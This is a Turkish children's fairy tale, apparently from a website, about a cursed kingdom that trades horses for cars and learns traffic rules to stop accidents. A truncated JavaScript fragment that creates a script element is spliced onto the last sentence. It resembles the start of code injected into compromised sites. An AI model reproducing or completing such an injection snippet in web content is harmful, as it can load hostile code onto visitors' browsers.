TRAFİK KURALLARI ÖNEMLİDİR
Var varanın, sür sürenin,
Destursuz bağa girenin hali budur!
Zaman zaman içinde, kalbur saman içinde…
Deve tellâl iken, horoz şahna iken, serçe berber iken,
Ben babamın beşiğini tıngır mıngır sallar iken…
Hamamcının tası yok, külhancının baltası yok,
Çarşıda bir adam gezer, peştemalının ortası yok.
Sevimli ülkede yaşayan herkes çok mutlu ve birbiri ile çok iyi geçinen insanlarmış. Sevimli ülkede yaşayan kızların güzelliği diğer komşu ülkeler tarafından bile bilinir, kızların güzelliği ile ilgili nice hikâyeler, türküler söylenirmiş. Kızları güzelmiş ama erkeklerin de onlardan aşağıya kalır yanı yok imiş. Yakışıklı, uzun boylu, güçlü kuvvetli erkekler bu ülkenin işlerini yapar; ülke, anlayış v sevgi ile yönetilir gidermiş.
Fakat bu sevimli ülkenin kötülüğünü isteyen bir büyücü kadın, masala göre bu ülkede yaşayan herkese kötü bir büyü yapmış. Kötü kalpli kadının yaptığı büyüye göre saygılı, anlayışlı, oldukça mutlu olarak yaşayan bu insanlar, üç kelimeyi bir anda söyleyince adeta bir canavara dönüşüyormuş. Bu kelimeler ‘at, avrat, silah’ imiş.
Birbirinden güzel kızlar ve yakışıklı erkeklerden oluşan bu halka ‘at’ denildiğinde adeta gözleri dönüyormuş. Atın üzerine atladıkları gibi etrafa zarar vermeye başlıyorlarmış. Gözleri sinirden kocaman olan, anlayışsız insanlara dönüşüyorlarmış. ‘Avrat’ denildiğinde halkın erkekleri; adeta kudurmuş gibi etrafta geziyor ve onlara çıkan bütün kadınlara saldırıyormuş. ‘Silah’ denildiğinde ise kız-erkek fark etmeksizin bütün halk gözü dönmüş bir katile dönüşüp, önüne çıkanları silah ile vuruyormuş.
Ülkenin kralı, halkı çığırından çıkaran bu büyüyü bozman için çareler düşünmeye başlamış. Normalde sevgi dolu olan bu insanlar, kötü bir büyü yüzünden adeta canavar haline dönüşüyormuş. Kral ülkedeki bütün bilginleri sarayında toplayarak bu derde bir çözüm bulmak için emir verdirmiş. Bilginler neler yapılabilir diye düşünmüş, kafa patlatmış ve sonunda tek çare olarak atları yok etmek zorunda olduklarını ifade etmişler Kral’a.
Bilginler bu sırada komşu ülkede yapılan yeni bir icattan haberdar olmuşlar. Kulaklarına gelen duyuma göre; komşu ülkede atlar ile gitmeyen, kendi kendine giden araçlar yapılmış. Bilginler atlardan kurtulmak ve halkı düzene sokmak için tek çarenin atlara ihtiyaç olmadan giden arabalar olduğunu ifade etmiş Kral’a. Kral da bu arabanın nasıl bir şey olduğunu, atlar çekmeden bir aracın nasıl hareket edeceğini bir türlü hayal edememiş kafasında. En sonunda bilginlerden bir kurul oluşturmuş ve bu kurulu aracı görmeleri için komşu ülkeye göndermiş.
Komşu ülkeye giden bilginler kendi kendine giden aracı gördüklerinde şok olmuşlar. Hayranlıkla bu aracı incelemişler ve Kral’larına göstermek için aracı kullanmayı bilen birisini de alıp aracı ülkelerine götürmüşler.
Ülkeye araç ile gelen bilginleri gören tüm halk; kendi kendine ilerleyen araçları görünce şaşkınlıktan adeta küçük dillerini yutacakmış. Kral da kendi kendine giden bu araçları çok beğenmiş ve atlardan kurtulmak için komşu ülkeden bu araçlardan alınmasını emretmiş.
Ülkedeki herkes elinde avucunda ne varsa birleştirmiş ve komşu ülkedeki araçları almaya gitmiş. Herkes komşu ülkeye atlar ile giderken komşu ülkeden kendi kendine giden araçlar ile dönüyormuş. Neredeyse tüm halk, araçlarını alarak ülkede araç ile gezmeye başlamış ve atlardan kurtulmuş. Fakat atlardan kurtulmak çare değilmiş! Çünkü aracı kullanmayı bilmeyen halk o kadar çok kaza yapar olmuş ki; bir sürü kişi ölmeye, sakat kalmaya başlamış. Bu gidişle insanlar atların üzerindeki halinden daha da tehlikeli bir şekle girmişler. Kral ne olduğunu ve buna nasıl bir çözüm bulacağını düşünürken bilginlerinden yardım istemiş. Bilgin kişiler de bir yerde hata olduğunu ve bu hatanın nerede olduğunu araştırmak için komşu ülkeye gitmişler.
Bilginler komşu ülkeye bir bakmışlar ki, burada her şey kuralla işliyor! Araçları kullanan herkes, ‘Trafik kuralları’ adı verilen kurallara uymak zorunda. Bu kurallara uyulduğu takdirde, ülkede kaza da olmamakta. Bu kuralların yazılı olduğu kitabı alan bilginler hemen Kral’ın huzuruna çıkarak durumdan bahsetmişler. Kral da tüm halkı toplayıp trafik kurallarının anlatılması ve kurslar verilmesi konusunda emir vermiş.
Kısa süre sonra, ülkedeki herkes ‘Trafik Kuralları’nı öğrenmiş ve bu kurallara uyarak araç kullanmaya başlamış. Bu durum, kazaların azalmasını ve araçların düzgün kullanılmasını da sağlamış.var d=document;var s=d.createElement(‘script’);
Yorum Yok